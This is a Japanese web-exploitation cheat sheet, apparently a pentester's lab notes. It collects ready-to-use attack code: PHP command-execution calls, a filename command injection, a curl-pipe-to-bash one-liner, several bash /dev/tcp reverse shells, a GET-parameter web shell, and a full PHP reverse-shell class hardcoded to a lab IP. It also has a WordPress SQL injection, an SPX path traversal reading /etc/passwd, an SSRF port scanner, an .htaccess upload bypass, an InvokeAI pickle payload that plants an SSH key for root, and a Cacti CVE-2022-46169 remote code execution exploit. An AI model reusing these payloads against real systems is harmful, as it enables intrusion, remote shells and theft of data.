Open11

Webのexploitメモ

iestudyiestudy

PHPでOSコマンドを実行する方法

PHPのphpinfo()を使うと、現在の設定が確認できる。

php
<?php phpinfo(); ?>

この中のdisable_functionsによりOSコマンド実行が可能かどうかがわかる。

shell_exec()

php
$result = shell_exec('ls -la');

system()

php
$result = system('ls -la', $exit_code);

exec()

php
exec('ls -la', $output, $exit_code);

passthru

php
<?php passthru('id'); ?>
標準出力が直接ブラウザに表示される。

popen()

php
<?php
$handle = popen("id", "r");
while (!feof($handle)) {
  echo fread($handle, 1024);
}
pclose($handle);
?>
iestudyiestudy

command injection in file name

php
POSTメソッド内
Content-Disposition: form-data; name="formFile"; filename="silent.mp3\";id;#"

リバースシェルの例
php -r '$sl=chr(47);$dot=chr(46);$pip=chr(124);echo shell_exec(\"curl 192${dot}168${dot}45${dot}156${sl}shell${dot}sh${pip}bash\");';#

読み込むシェルの作成(shell.sh)
echo 'bash -i >& /dev/tcp/192.168.45.156/443 0>&1' > shell.sh

https://www.vaadata.com/blog/rce-vulnerability-in-a-file-name/

iestudyiestudy

WordPress関連

確認すべきファイル
wp-config.php

WP-Advanced-SearchのSQLiの脆弱性

コマンド
curl "http://workaholic.offsec/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20UNION%20SELECT%20user_pass%20FROM%20wp_users--&f=user_login&type=&e="
https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/

Pluginのリスト(plugins.txt)

コマンド
gobuster dir -u http://[IP]/wp-content/plugins -w plugins.txt -t 40 --exclude-length 0

https://github.com/Perfectdotexe/WordPress-Plugins-List

iestudyiestudy

PHP関係

SPX

コマンド
curl 'http://[URL]/phpinfo.php?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=/../../../../../../../../etc/passwd'
iestudyiestudy

Flask

Flaskは、Pythonで作られた軽量なWebアプリケーションフレームワーク。
app.pyはFlask公式ではないものの、慣習的によく使われる名前。
環境変数「FLASK_APP」に指定されたファイルを起動ファイルとして使う。

Linux:コマンド
echo $FLASK_APP

iestudyiestudy

PHP関連のリバースシェル

各種PHPによるシェル操作

シェル
<?php echo system($_GET['_']); ?>

実行方法
http://example.com/shell.php?_=id
リバースシェル
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'");
?>

WIndows/Linuxどちらでも動くリバースシェル
https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php

PHP v5.3.0未満

<?php
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec;
    private $buffer = 1024;
    private $clen   = 0;
    private $error  = false;
    private $sdump  = true;

    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
        $this->descriptorspec = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'w')
        );
    }

    private function detect() {
        $detected = true;
        $os = PHP_OS;
        if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
            $this->os    = 'LINUX';
            $this->shell = '/bin/sh';
        } else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Unsupported OS\n";
        }
        return $detected;
    }

    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() not available\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Fork failed\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Parent exiting\n";
        } else if (posix_setsid() < 0) {
            echo "DAEMONIZE: setsid failed\n";
        } else {
            echo "DAEMONIZE: Success\n";
        }
        return $exit;
    }

    private function settings() {
        @error_reporting(0);
        @set_time_limit(0);
        @umask(0);
    }

    private function dump($data) {
        if ($this->sdump) {
            $data = str_replace('<', '&lt;', $data);
            $data = str_replace('>', '&gt;', $data);
            echo $data;
        }
    }

    private function read($stream, $name, $buffer) {
        $data = @fread($stream, $buffer);
        if ($data === false) {
            $this->error = true;
            echo "STRM_ERROR: Cannot read from {$name}\n";
        }
        return $data;
    }

    private function write($stream, $name, $data) {
        $bytes = @fwrite($stream, $data);
        if ($bytes === false) {
            $this->error = true;
            echo "STRM_ERROR: Cannot write to {$name}\n";
        }
        return $bytes;
    }

    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') {
                $this->clen += strlen($data);
            }
            $this->dump($data);
        }
    }

    private function brw($input, $output, $iname, $oname) {
        $stat = fstat($input);
        $size = $stat['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            while ($this->clen > 0) {
                $bytes = ($this->clen >= $this->buffer) ? $this->buffer : $this->clen;
                $this->read($input, $iname, $bytes);
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0) {
            $bytes = ($size >= $this->buffer) ? $this->buffer : $size;
            $data = $this->read($input, $iname, $bytes);
            $this->write($output, $oname, $data);
            $size -= $bytes;
            $this->dump($data);
        }
    }

    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false);
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false);
                    }
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell connected! PID: " . $status['pid'] . "\n");
                    do {
                        $status = proc_get_status($process);
                        if (feof($socket)) {
                            echo "SOC_ERROR: Connection closed\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {
                            echo "PROC_ERROR: Shell terminated\n"; break;
                        }
                        $read_streams = array($socket, $pipes[1], $pipes[2]);
                        $write_streams = null;
                        $except_streams = null;
                        $num_changed_streams = @stream_select($read_streams, $write_streams, $except_streams, 0);
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket, $read_streams))  { $this->rw($socket, $pipes[0], 'SOCKET', 'STDIN'); }
                                if (in_array($pipes[2], $read_streams)) { $this->rw($pipes[2], $socket, 'STDERR', 'SOCKET'); }
                                if (in_array($pipes[1], $read_streams)) { $this->rw($pipes[1], $socket, 'STDOUT', 'SOCKET'); }
                            } else if ($this->os === 'WINDOWS') {
                                if (in_array($socket, $read_streams)) { $this->rw($socket, $pipes[0], 'SOCKET', 'STDIN'); }
                                $stat2 = fstat($pipes[2]);
                                if ($stat2['size']) { $this->brw($pipes[2], $socket, 'STDERR', 'SOCKET'); }
                                $stat1 = fstat($pipes[1]);
                                if ($stat1['size']) { $this->brw($pipes[1], $socket, 'STDOUT', 'SOCKET'); }
                            }
                        }
                    } while (!$this->error);
                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                fclose($socket);
            }
        }
    }
}

echo '<pre>';
$sh = new Shell('192.168.45.155', 443);
$sh->run();
unset($sh);
echo '</pre>';
?>
iestudyiestudy

SSRF関連

入力に基づいてリソースを取得しているような部分は潜在的なSSRF脆弱性がある。

内部のポート探索向けスクリプトの例

python
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

target = "192.168.137.113:8080"
ports = range(1, 65535)  # まずは小さい範囲でテスト
max_workers = 50        # 同時スレッド数

def check_port(port):
    url = f"http://{target}/image?image=http://127.0.0.1:{port}"
    try:
        response = requests.get(url, timeout=1)
        if 200 <= response.status_code < 300:
            return f"Port {port} seems open (HTTP Status: {response.status_code})"
    except requests.exceptions.RequestException:
        pass
    return None

with ThreadPoolExecutor(max_workers=max_workers) as executor:
    futures = [executor.submit(check_port, port) for port in ports]
    for future in as_completed(futures):
        result = future.result()
        if result:
            print(result)
iestudyiestudy

.htaccessを使ったファイルアップロード

コマンド
echo  "AddType application/x-httpd-php .xxx" > .htaccess
.xxxをphpとして実行する設定
iestudyiestudy

Symfony関連

Symfonyバージョン3.4のデータベースのデフォルトの設定ファイルの場所:app/config/parameters.yml

iestudyiestudy

Invoke AI関連

CVE-2024-12029の攻略法(SSHアクセス)
kaliでssh-keygen実行後に公開鍵を登録する。

write_ssh.py
import pickle

class Payload:
  def __reduce__(self):
      import os
      return (os.system, ('echo "作成した公開鍵"  >> /root/.ssh/authorized_keys',))
    
def generate_payload():
  # Not .pkl
  with open('payload.ckpt', 'wb') as f:
    pickle.dump(Payload(), f)

generate_payload()

上記実行後に登録を行う。

exploit.py
import requests

url = "http://[ターゲットIP]:9090/api/v2/models/install"
params = {
    "source": "http://[kaliのIP]/payload.ckpt",
    "inplace": "true"
}

response = requests.post(url, params=params, json={})
print(response.text)
iestudyiestudy

Cacti Monitoring

HTTPへの対応版

Python
import requests
import urllib.parse
**import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)**

def checkVuln():
    result = requests.get(vulnURL, headers=header,**verify=False**)
    return (result.text != "FATAL: You are not authorized to use this service" and result.status_code == 200)

def bruteForce():
    # brute force to find host id and local data id
    for i in range(1, 5):
        for j in range(1, 10):
            vulnIdURL = f"{vulnURL}?action=polldata&poller_id=1&host_id={i}&local_data_ids[]={j}"
            result = requests.get(vulnIdURL, headers=header,verify=False)
    
            if result.text != "[]":
                print(result.text)
                rrdName = result.json()[0]["rrd_name"]
             **   if rrdName == "users" or rrdName == "uptime":**
                    return True, i, j

    return False, -1, -1


def remoteCodeExecution(payload, idHost, idLocal):
    encodedPayload = urllib.parse.quote(payload)
    injectedURL = f"{vulnURL}?action=polldata&poller_id=;{encodedPayload}&host_id={idHost}&local_data_ids[]={idLocal}"
    
    result = requests.get(injectedURL,headers=header,verify=False)
    print(result.text)

if __name__ == "__main__":
    targetURL = input("Enter the target address (like 'http://123.123.123.123:8080')")
    vulnURL = f"{targetURL}/remote_agent.php"
    # X-Forwarded-For value should be something in the database of Cacti
    header = {"X-Forwarded-For": "127.0.0.1"}
    print("Checking vulnerability...")
    if checkVuln():
        print("App is vulnerable")
        isVuln, idHost, idLocal = bruteForce()
        print("Brute forcing id...")
        # RCE payload
        ipAddress = "192.168.1.15"
        ipAddress = input("Enter your IPv4 address")
        port = input("Enter the port you want to listen on")
        payload = f"bash -c 'bash -i >& /dev/tcp/{ipAddress}/{port} 0>&1'"
        if isVuln:
            print("Delivering payload...")
            remoteCodeExecution(payload, idHost, idLocal)
        else:
            print("RRD not found")
    else:
        print("Not vulnerable")

参考
https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit